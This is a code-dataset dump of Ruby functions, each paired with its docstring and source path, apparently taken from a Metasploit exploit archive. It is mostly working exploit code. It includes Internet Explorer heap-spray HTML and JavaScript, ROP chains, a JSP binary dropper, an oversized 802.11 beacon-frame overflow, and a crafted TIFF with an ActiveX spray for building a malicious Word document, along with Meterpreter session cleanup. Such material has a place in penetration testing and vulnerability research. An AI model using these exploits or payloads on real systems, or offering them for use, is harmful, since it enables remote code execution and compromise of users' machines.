<object id="#{target4}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target5}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target6}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target7}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target8}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target9}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target10}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target11}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target12}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target13}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target14}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
<object id="#{target15}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target7
end
|
* 15 C1TAB objects are used to defragement the heap, so objects are stored after the vulnerable buffer.
* Based on empirical tests, 5th C1TAB comes after the vulnerable buffer.
* Using the 7th CITAB is possible to overflow itself and get control before finishing the set of the
TabCaption property.
|
trigger_w7
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def trigger_xp
target = rand_text_alpha(5 + rand(3))
objects = %Q|
<object id="#{target}" width="100%" height="100%" classid="clsid:24E04EBF-014D-471F-930E-7654B1193BA9"></object>
|
return objects, target
end
|
* Based on empirical test, the C1TAB object comes after the vulnerable buffer on memory, so just
an object is sufficient to overflow itself and get control execution.
|
trigger_xp
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/25814.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/25814.rb
|
MIT
|
def on_new_session(cli)
if not @dropper or @dropper.empty?
return
end
if cli.type != 'meterpreter'
print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}")
return
end
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
begin
print_status("#{@peer} - Searching: #{@dropper}")
files = cli.fs.file.search("\\", @dropper)
if not files or files.empty?
print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.")
return
end
files.each { |f|
print_warning("Deleting: #{f['path'] + "\\" + f['name']}")
cli.fs.file.rm(f['path'] + "\\" + f['name'])
}
print_good("#{@peer} - #{@dropper} deleted")
return
rescue ::Exception => e
print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}")
end
end
|
Try to find and delete the jsp if we get a meterpreter.
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/27046.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/27046.rb
|
MIT
|
def jsp_drop_bin(bin_data, output_file)
jspraw = %Q|<%@ page import="java.io.*" %>\n|
jspraw << %Q|<%\n|
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
jspraw << %Q|int numbytes = data.length();\n|
jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
jspraw << %Q|{\n|
jspraw << %Q| char char1 = (char) data.charAt(counter);\n|
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n|
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n|
jspraw << %Q| comb <<= 4;\n|
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n|
jspraw << %Q| bytes[counter/2] = (byte)comb;\n|
jspraw << %Q|}\n|
jspraw << %Q|outputstream.write(bytes);\n|
jspraw << %Q|outputstream.close();\n|
jspraw << %Q|%>\n|
jspraw
end
|
This should probably go in a mixin
|
jsp_drop_bin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/27046.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/27046.rb
|
MIT
|
def create_beacon
ssid = rand_text_alphanumeric(6)
bssid = ("\x00" * 2) + rand_text(4)
src = ("\x90" * 4) + "\xeb\x2b"
seq = [rand(255)].pack('n')
buff = rand_text(75)
buff[0, 2] = "\xeb\x49"
buff[71, 4] = [target.ret].pack('V')
frame =
"\x80" + # type/subtype
"\x00" + # flags
"\x00\x00" + # duration
eton(datastore['ADDR_DST']) + # dst
src + # src
bssid + # bssid
seq + # seq
rand_text(8) + # timestamp value
"\x64\x00" + # beacon interval
"\x00\x05" + # capability flags
# ssid tag
"\x00" + ssid.length.chr + ssid +
# supported rates
"\x01" + "\x08" + "\x82\x84\x8b\x96\x0c\x18\x30\x48" +
# current channel
"\x03" + "\x01" + channel.chr +
# eip was his name-o
"\x01" + buff.length.chr + buff +
payload.encoded
return frame
end
|
The following research was provided by Gil Dabah of ZERT
The long rates field bug can be triggered three different ways (at least):
1) Send a single rates IE with valid rates up front and long data
2) Send a single rates IE field with valid rates, follow with IE type 0x32 with long data
3) Send two IE rates fields, with the second one containing the long data (this exploit)
|
create_beacon
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/2771.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/2771.rb
|
MIT
|
def get_payload
code = ''
code << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
code << "\x61\x9d" # popad; popfd
code << payload.encoded
stack_pivot = [
0x7c342643, # xchg eax, esp; pop edi; add [eax], al, pop ecx; ret
0x0c0c0c0c
].pack("V*")
p = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
return p
end
|
Target spray 0x20302020
ESI is our fake obj, with [esi]=0x20302020, [esi+4]=0x42424242, so on
eax=20302020 ebx=80004002 ecx=0250d890 edx=cccccccc esi=03909b68 edi=0250d8cc
eip=cccccccc esp=0250d87c ebp=0250d8a8 iopl=0 nv up ei ng nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010283
cccccccc ?? ???
|
get_payload
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28082.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28082.rb
|
MIT
|
def get_html(cli, req)
js_fake_obj = ::Rex::Text.to_unescape(get_fake_obj, ::Rex::Arch.endian(target.arch))
js_payload = ::Rex::Text.to_unescape(get_payload, ::Rex::Arch.endian(target.arch))
html = %Q|
<html>
<meta http-equiv="X-UA-Compatible" content="IE=7"/>
<meta http-equiv="refresh" content="2"/>
<head>
<script language='javascript'>
#{js_property_spray}
var fake_obj = unescape("#{js_fake_obj}");
var s = unescape("#{js_payload}");
sprayHeap({shellcode:s});
function setupPage() {
document.body.style.position = 'absolute';
document.body.contentEditable = 'true';
document.body.style.right = '1';
}
function hitMe() {
document.execCommand('SelectAll');
document.execCommand('InsertButton');
sprayHeap({shellcode:fake_obj, heapBlockSize:0x10});
document.body.innerHTML = '#{Rex::Text.rand_text_alpha(1)}';
}
</script>
</head>
<body onload="setupPage()" onmove="hitMe()" />
</html>
|
html.gsub(/^\t\t/, '')
end
|
The meta-refresh seems very necessary to make the object overwrite more reliable.
Without it, it only gets about 50/50
|
get_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28082.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28082.rb
|
MIT
|
def on_new_session(session)
print_status("New session... remember to delete LrWeb2MdrvLoader.dll")
end
|
Just reminding the user to delete LrWeb2MdrvLoader.dll
because migration and killing the exploited process is
needed
|
on_new_session
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28083.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28083.rb
|
MIT
|
def execute_cmdstager_begin(opts)
var_decoded = @stager_instance.instance_variable_get(:@var_decoded)
var_encoded = @stager_instance.instance_variable_get(:@var_encoded)
decoded_file = "#{var_decoded}.exe"
encoded_file = "#{var_encoded}.b64"
@cmd_list.each { |command|
# Because the exploit kills cscript processes to speed up and reliability
command.gsub!(/cscript \/\/nologo/, "wscript //nologo")
command.gsub!(/CHRENCFILE/, get_vbs_string(encoded_file))
command.gsub!(/CHRDECFILE/, get_vbs_string(decoded_file))
}
end
|
Make the modifications required to the specific encoder
This exploit uses an specific encoder because quotes (")
aren't allowed when injecting commands
|
execute_cmdstager_begin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28188.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28188.rb
|
MIT
|
def get_html(t)
js_payload_addr = ::Rex::Text.to_unescape([t['PayloadAddr']].pack("V*"))
js_target_addr = ::Rex::Text.to_unescape([t['TargetAddr']].pack("V*"))
js_pop_esp = ::Rex::Text.to_unescape([t['PopESP']].pack("V*"))
js_payload = ::Rex::Text.to_unescape(get_payload(t))
js_rand_dword = ::Rex::Text.to_unescape(rand_text_alpha(4))
html = %Q|<!DOCTYPE html>
<html>
<head>
<script>
var freeReady = false;
function getObject() {
var obj = '';
for (i=0; i < 11; i++) {
if (i==1) {
obj += unescape("#{js_pop_esp}");
}
else if (i==2) {
obj += unescape("#{js_payload_addr}");
}
else if (i==3) {
obj += unescape("#{js_target_addr}");
}
else {
obj += unescape("#{js_rand_dword}");
}
}
obj += "\\u4545";
return obj;
}
function emptyAllocator(obj) {
for (var i = 0; i < 40; i++)
{
var e = document.createElement('div');
e.className = obj;
}
}
function spray(obj) {
for (var i = 0; i < 50; i++)
{
var e = document.createElement('div');
e.className = obj;
document.appendChild(e);
}
}
function putPayload() {
var p = unescape("#{js_payload}");
var block = unescape("#{js_rand_dword}");
while (block.length < 0x80000) block += block;
block = p + block.substring(0, (0x80000-p.length-6)/2);
for (var i = 0; i < 0x300; i++)
{
var e = document.createElement('div');
e.className = block;
document.appendChild(e);
}
}
function trigger() {
if (freeReady) {
var obj = getObject();
emptyAllocator(obj);
document.write("#{rand_text_alpha(1)}");
spray(obj);
putPayload();
}
}
window.onload = function() {
document.body.contentEditable = 'true';
document.execCommand('InsertInputPassword');
document.body.innerHTML = '#{rand_text_alpha(1)}';
freeReady = true;
}
</script>
</head>
<body onbeforeeditfocus="trigger()">
</body>
</html>
|
html.gsub(/^\x20\x20\x20\x20/, '')
end
|
Notes:
* A custom spray is used (see function putPayload), because document.write() keeps freeing
our other sprays like js_property_spray or the heaplib + substring approach. This spray
seems unstable for Win 7, we'll have to invest more time on that.
* Object size = 0x30
|
get_html
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28481.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28481.rb
|
MIT
|
def ie9_spray(t, p)
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(t.arch))
js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(t.arch))
js = %Q|
function rop_chain(jutil_base){
var arr = [
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c0c),
Number(0x0c0c0c1c),
Number(0x0c0c0c24),
Number(0x0c0c0c28),
Number(Math.floor(Math.random()*0xffffffff)),
Number(Math.floor(Math.random()*0xffffffff)),
Number(0x0c0c0c0c),
Number(0x0c0c0c3c),
jutil_base + Number(0x00212f17),
jutil_base + Number(0x000a5843),
Number(0x0c0c0c34),
jutil_base + Number(0x5de121),
jutil_base + Number(0x20ca),
jutil_base + Number(0x4bebeb),
jutil_base + Number(0x4c03d2),
jutil_base + Number(0x1be314),
jutil_base + Number(0xac8e8),
jutil_base + Number(0xe1859),
Number(0x00000201),
jutil_base + Number(0x219cf9),
Number(0x00000040),
jutil_base + Number(0x182e50),
jutil_base + Number(0x4f5217),
jutil_base + Number(0xe2fd1),
jutil_base + Number(0x1339db),
jutil_base + Number(0x202439),
Number(0x90909090),
jutil_base + Number(0x4fcfe3)
];
return arr;
}
function d2u(dword){
var uni = String.fromCharCode(dword & 0xFFFF);
uni += String.fromCharCode(dword>>16);
return uni;
}
function tab2uni(tab){
var uni = ""
for(var i=0;i<tab.length;i++){
uni += d2u(tab[i]);
}
return uni;
}
function randomblock(blocksize)
{
var theblock = "";
for (var i = 0; i < blocksize; i++)
{
theblock += Math.floor(Math.random()*90)+10;
}
return theblock;
}
function tounescape(block)
{
var blocklen = block.length;
var unescapestr = "";
for (var i = 0; i < blocklen-1; i=i+4)
{
unescapestr += "%u" + block.substring(i,i+4);
}
return unescapestr;
}
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("#{js_code}");
var nops = unescape("#{js_random_nops}");
function heap_spray(jutil_base) {
while (nops.length < 0x80000) nops += nops;
var offset_length = #{t['Offset']};
for (var i=0; i < 0x1000; i++) {
var padding = unescape(tounescape(randomblock(0x1000)));
while (padding.length < 0x1000) padding+= padding;
var junk_offset = padding.substring(0, offset_length);
var rop = tab2uni(rop_chain(jutil_base));
var single_sprayblock = junk_offset + rop + code + nops.substring(0, 0x800 - rop.length - code.length - junk_offset.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
}
|
return js
end
|
JUtil ROP Chain
Jutil Base: 0x1d550000
Stack Pivot: jutil_base + 0x000a5843 # xchg eax, esp # ret
Adjust Stack: jutil_base + 0x00212f17 # pop # pop # ret
0x1db2e121, # POP EDX # RETN [JUtil.dll]
0x1d5520ca, # ptr to &VirtualProtect() [IAT JUtil.dll]
0x1da0ebeb, # MOV EDX,DWORD PTR DS:[EDX] # RETN [JUtil.dll]
0x1da103d2, # MOV ESI,EDX # RETN [JUtil.dll]
0x1d70e314, # POP EBP # RETN [JUtil.dll]
0x1d5fc8e8, # & jmp esp [JUtil.dll]
0x1d631859, # POP EBX # RETN [JUtil.dll]
0x00000201, # 0x00000201-> ebx
0x1d769cf9, # POP EDX # RETN [JUtil.dll]
0x00000040, # 0x00000040-> edx
0x1d6d2e50, # POP ECX # RETN [JUtil.dll]
0x1da45217, # &Writable location [JUtil.dll]
0x1d632fd1, # POP EDI # RETN [JUtil.dll]
0x1d6839db, # RETN (ROP NOP) [JUtil.dll]
0x1d752439, # POP EAX # RETN [JUtil.dll]
0x90909090, # nop
0x1da4cfe3, # PUSHAD # RETN [JUtil.dll]
|
ie9_spray
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/28724.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/28724.rb
|
MIT
|
def custom_root(ns)
e = @parent.create_element(ns)
e.add_namespace_definition(ns, "href")
@ns = e.namespace_definitions.find { |x| x.prefix == ns.to_s }
return self
end
|
Some XML documents don't declare the namespace before referencing, but Nokogiri requires one.
So here's our hack to get around that by adding a new custom method to the Builder class
|
custom_root
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_tiff
# TIFF Header:
# TIFF ID = 'II' (Intel order)
# TIFF Version = 42d
# Offset of FID = 0x000049c8h
#
# Image Directory:
# Number of entries = 17d
# Entry[0] NewSubFileType = 0
# Entry[1] ImageWidth = 256d
# Entry[2] ImageHeight = 338d
# Entry[3] BitsPerSample = 8 8 8
# Entry[4] Compression = JPEG (6)
# Entry[5] Photometric Interpretation = RGP
# Entry[6] StripOffsets = 68 entries (349 bytes)
# Entry[7] SamplesPerPixel = 3
# Entry[8] RowsPerStrip = 5
# Entry[9] StripByteCounts = 68 entries (278 bytes)
# Entry[10] XResolution = 96d
# Entry[11] YResolution = 96d
# Entry[12] Planar Configuration = Clunky
# Entry[13] Resolution Unit = Inch
# Entry[14] Predictor = None
# Entry[15] JPEGInterchangeFormatLength = 5252h (1484h)
# Entry[16] JPEGInterchangeFormat = 13636d
# Notes:
# These values are extracted from the file to calculate the HeapAlloc size that result in the overflow:
# - JPEGInterchangeFormatLength
# - DWORD at offset 3324h (0xffffb898), no documentation for this
# - DWORDS after offset 3328h, no documentation for these, either.
# The DWORD at offset 4874h is what ends up overwriting the function pointer by the memcpy
# The trigger is really a TIF file, but is named as a JPEG in the docx package
buf = ''
path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2013-3906", "word", "media", "image1.jpeg")
::File.open(path, "rb") do |f|
buf = f.read
end
# Gain control of the call [eax+50h] instruction
# XCHG EAX, ESP; RETN msvcrt
buf[0x4874, 4] = [0x200F0700-0x50].pack('V')
buf
end
|
Creates a TIFF that triggers the overflow
|
make_tiff
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_activex_bin
#
# How an ActiveX bin is referred:
# document.xml.rels -> ActiveX[num].xml -> activeX[num].xml.rels -> ActiveX[num].bin
# Every bin is a Microsoft Compound Document File:
# http://www.openoffice.org/sc/compdocfileformat.pdf
# The bin file
mscd = ''
mscd << [0xe011cfd0].pack('V') # File identifier (first 4 byte)
mscd << [0xe11ab1a1].pack('V') # File identifier (second 4 byte)
mscd << [0x00000000].pack('V') * 4 # Unique Identifier
mscd << [0x003e].pack('v') # Revision number
mscd << [0x0003].pack('v') # Version number
mscd << [0xfffe].pack('v') # Byte order: Little-Endian
mscd << [0x0009].pack('v') # Sector size
mscd << [0x0006].pack('v') # Size of a short-sector
mscd << "\x00" * 10 # Not used
mscd << [0x00000001].pack('V') # Total number of sectors
mscd << [0x00000001].pack('V') # SecID for the first sector
mscd << [0x00000000].pack('V') # Not used
mscd << [0x00001000].pack('V') # Minimum size of a standard stream
mscd << [0x00000002].pack('V') # Sec ID of first sector
mscd << [0x00000001].pack('V') # Total number of sectors for the short-sector table
mscd << [0xfffffffe].pack('V') # SecID of first sector of the mastser sector table
mscd << [0x00000000].pack('V') # Total number of sectors for master sector talbe
mscd << [0x00000000].pack('V') # SecIDs
mscd << [0xffffffff].pack('V') * 4 * 59 # SecIDs
mscd[0x200, 4] = [0xfffffffd].pack('V')
mscd[0x204, 12] = [0xfffffffe].pack('V') * 3
mscd << Rex::Text.to_unicode("Root Entry")
mscd << [0x00000000].pack('V') * 11
mscd << [0x0016].pack('v') # Valid range of the previous char array
mscd << "\x05" # Type of entry (Root Storage Entry)
mscd << "\x00" # Node colour of the entry (red)
mscd << [0xffffffff].pack('V') # DirID of the left child node
mscd << [0xffffffff].pack('V') # DirID of the right child node
mscd << [0x00000001].pack('V') # DirID of the root node entry
mscd << [0x1efb6596].pack('V')
mscd << [0x11d1857c].pack('V')
mscd << [0xc0006ab1].pack('V')
mscd << [0x283628f0].pack('V')
mscd << [0x00000000].pack('V') * 3
mscd << [0x287e3070].pack('V')
mscd << [0x01ce2654].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0x00000100].pack('V')
mscd << [0x00000000].pack('V')
mscd << Rex::Text.to_unicode("Contents")
mscd << [0x00000000].pack('V') * 12
mscd << [0x01020012].pack('V')
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 10
mscd << [0x000000e4].pack('V')
mscd << [0x00000000].pack('V') * 18
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 29
mscd << [0xffffffff].pack('V') * 3
mscd << [0x00000000].pack('V') * 12
mscd << [0x00000001].pack('V')
mscd << [0x00000002].pack('V')
mscd << [0x00000003].pack('V')
mscd << [0xfffffffe].pack('V')
mscd << [0xffffffff].pack('V') * 32 #52
mscd << [0x77c34fbf].pack('V') # POP ESP # RETN
mscd << [0x200f0704].pack('V') # Final payload target address to begin the ROP
mscd << [0xffffffff].pack('V') * 18
mscd << @rop_payload
mscd
end
|
Creates an ActiveX bin that will be used as a spray in Office
|
make_activex_bin
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_activex_xml(rid)
attrs = {
'ax:classid' => "{1EFB6596-857C-11D1-B16A-00C0F0283628}",
'ax:license' => "9368265E-85FE-11d1-8BE3-0000F8754DA1",
'ax:persistence' => "persistStorage",
'r:id' => "rId#{rid.to_s}",
'xmlns:ax' => "http://schemas.microsoft.com/office/2006/activeX",
'xmlns:r' => @schema
}
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("ax")
xml.ocx(attrs)
end
builder.to_xml(:indent => 0)
end
|
Creates an activeX[num].xml file
@param rid [String] The relationship ID (example: rId1)
@return [String] XML document
|
make_activex_xml
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_activex_xml_reals(rid, target_bin)
acx_type = "http://schemas.microsoft.com/office/2006/relationships/activeXControlBinary"
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
xml.Relationship({:Id=>"rId#{rid.to_s}", :Type=>acx_type, :Target=>target_bin})
end
end
builder.to_xml(:indent => 0)
end
|
Creates an activeX[num].xml.rels
@param relationships [Array] A collection of hashes with each containing:
:id, :type, :target
@return [String] XML document
|
make_activex_xml_reals
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_doc_xml_reals(relationships)
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.Relationships('xmlns'=>"http://schemas.openxmlformats.org/package/2006/relationships") do
relationships.each do |r|
xml.Relationship({:Id=>"rId#{r[:id].to_s}", :Type=>r[:type], :Target=>r[:target]})
end
end
end
builder.to_xml(:indent => 0)
end
|
Creates a document.xml.reals file
@param relationships [Array] A collection of hashes with each containing:
:id, :type, and :target
@return [String] XML document
|
make_doc_xml_reals
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def create_chart_run_element(xml, rid)
drawingml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
xml.r do
xml.rPr do
xml.noProof
xml.lang({'w:val' => "en-US"})
end
xml.drawing do
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
xml['wp'].extent({'cx'=>'1', 'cy'=>'1'})
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"1", 'b'=>"0"})
xml['wp'].docPr({'id'=>rid.to_s, 'name' => "drawing #{rid.to_s}"})
xml['wp'].cNvGraphicFramePr
xml['a'].graphic do
xml['a'].graphicData({'uri'=>"#{drawingml_schema}/chart"}) do
xml['c'].chart({'r:id'=>"rId#{rid.to_s}"})
end
end
end
end
end
end
|
Creates a run element for chart
@param xml [Element]
@param rid [String]
|
create_chart_run_element
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def create_ax_run_element(xml, rid)
shape_attrs = {
'id' => "_x0000_i10#{rid.to_s}",
'type' => "#_x0000_t75",
'style' => "width:1pt;height:1pt",
'o:ole' => ""
}
control_attrs = {
'r:id' => "rId#{rid.to_s}",
'w:name' => "TabStrip#{rid.to_s}",
'w:shapeid' =>"_x0000_i10#{rid.to_s}"
}
xml.r do
xml.object({'w:dxaOrig'=>"1440", 'w:dyaOrig'=>"1440"}) do
xml['v'].shape(shape_attrs)
xml['w'].control(control_attrs)
end
end
end
|
Creates a run element for ax
@param xml [Element]
@param rid [String]
|
create_ax_run_element
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def create_pic_run_element(xml, rid)
drawinxml_schema = "http://schemas.openxmlformats.org/drawingml/2006"
xml.r do
xml.rPr do
xml.noProof
xml.lang({'w:val'=>"en-US"})
end
xml.drawing do
xml['wp'].inline({'distT'=>"0", 'distB'=>"0", 'distL'=>"0", 'distR'=>"0"}) do
xml.extent({'cx'=>'1', 'cy'=>'1'})
xml['wp'].effectExtent({'l'=>"1", 't'=>"0", 'r'=>"0", 'b'=>"0"})
xml['wp'].docPr({'id'=>rid.to_s, 'name'=>"image", 'descr'=>"image.jpeg"})
xml['wp'].cNvGraphicFramePr do
xml['a'].graphicFrameLocks({'xmlns:a'=>"#{drawinxml_schema}/main", 'noChangeAspect'=>"1"})
end
xml['a'].graphic({'xmlns:a'=>"#{drawinxml_schema}/main"}) do
xml['a'].graphicData({'uri'=>"#{drawinxml_schema}/picture"}) do
xml['pic'].pic({'xmlns:pic'=>"#{drawinxml_schema}/picture"}) do
xml['pic'].nvPicPr do
xml['pic'].cNvPr({'id'=>rid.to_s, 'name'=>"image.jpeg"})
xml['pic'].cNvPicPr
end
xml['pic'].blipFill do
xml['a'].blip('r:embed'=>"rId#{rid.to_s}", 'cstate'=>"print")
xml['a'].stretch do
xml['a'].fillRect
end
end
xml['pic'].spPr do
xml['a'].xfrm do
xml['a'].off({'x'=>"0", 'y'=>"0"})
xml['a'].ext({'cx'=>"1", 'cy'=>"1"})
end
xml['a'].prstGeom({'prst' => "rect"}) do
xml['a'].avLst
end
end
end
end
end
end
end
end
end
|
Creates a pic run element
@param xml [Element]
@param rid [String]
|
create_pic_run_element
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def init_doc_xml(last_rid, pre_defs, activex, tiff_file)
# Get all the required pre-defs
chart_rids = []
pre_defs.select { |e| chart_rids << e[:id] if e[:fname] =~ /\/word\/charts\//}
# Get all the ActiveX RIDs
ax_rids = []
activex.select { |e| ax_rids << e[:id] }
# Get the TIFF RID
tiff_rid = tiff_file[:id]
# Documentation on how this is crafted:
# http://msdn.microsoft.com/en-us/library/office/gg278308.aspx
doc_attrs = {
'xmlns:ve' => "http://schemas.openxmlformats.org/markup-compatibility/2006",
'xmlns:o' => "urn:schemas-microsoft-com:office:office",
'xmlns:r' => @schema,
'xmlns:m' => "http://schemas.openxmlformats.org/officeDocument/2006/math",
'xmlns:v' => "urn:schemas-microsoft-com:vml",
'xmlns:wp' => "http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawing",
'xmlns:w10' => "urn:schemas-microsoft-com:office:word",
'xmlns:w' => "http://schemas.openxmlformats.org/wordprocessingml/2006/main",
'xmlns:wne' => "http://schemas.microsoft.com/office/word/2006/wordml",
'xmlns:a' => "http://schemas.openxmlformats.org/drawingml/2006/main",
'xmlns:c' => "http://schemas.openxmlformats.org/drawingml/2006/chart"
}
p_attrs_1 = {'w:rsidR' => "00F8254F", 'w:rsidRDefault' => "00D15BD0" }
p_attrs_2 = {'w:rsidR' => "00D15BD0", 'w:rsidRPr' =>"00D15BD0", 'w:rsidRDefault' => "00D15BD0" }
md = ::Nokogiri::XML("<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"yes\"?>")
builder = ::Nokogiri::XML::Builder.with(md) do |xml|
xml.custom_root("w")
xml.document(doc_attrs) do
xml.body do
# Paragraph (ActiveX)
xml.p(p_attrs_1) do
# Paragraph properties
xml.pPr do
# Run properties
xml.rPr do
xml.lang({'w:val' => "en-US"})
end
end
ax_rids.each do |rid|
create_ax_run_element(xml, rid)
end
end
xml.p(p_attrs_2) do
xml.pPr do
xml.rPr do
xml['w'].lang({'w:val'=>"en-US"})
end
end
# Charts
chart_rids.each do |rid|
create_chart_run_element(xml, rid)
end
# TIFF
create_pic_run_element(xml, tiff_rid)
end
end
end
end
{
:id => (last_rid + 1).to_s,
:type => "#{@schema}/officeDocument",
:fname => "/word/document.xml",
:content_type => "application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml",
:xml => builder.to_xml(:indent => 0)
}
end
|
Creates a document.xml file
@param pre_defs [Array]
@param activex [Array]
@param tiff_file [Array]
@return [String] XML document
|
init_doc_xml
|
ruby
|
hahwul/mad-metasploit
|
archive/exploits/windows/remote/30011.rb
|
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/remote/30011.rb
|
MIT
|
def make_contenttype_xml(overrides)
contenttypes = [
{
:Extension => "rels",
:ContentType => "application/vnd.openxmlformats-package.relationships+xml"
},
{
:Extension => "xml",
:ContentType => "application/xml"
},
{
:Extension => "jpeg",
:ContentType => "image/jpeg"
},
{
:Extension => "bin",
:ContentType => "application/vnd.ms-office.activeX"
},
{
:Extension => "xlsx",
:ContentType => "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet"
}
]
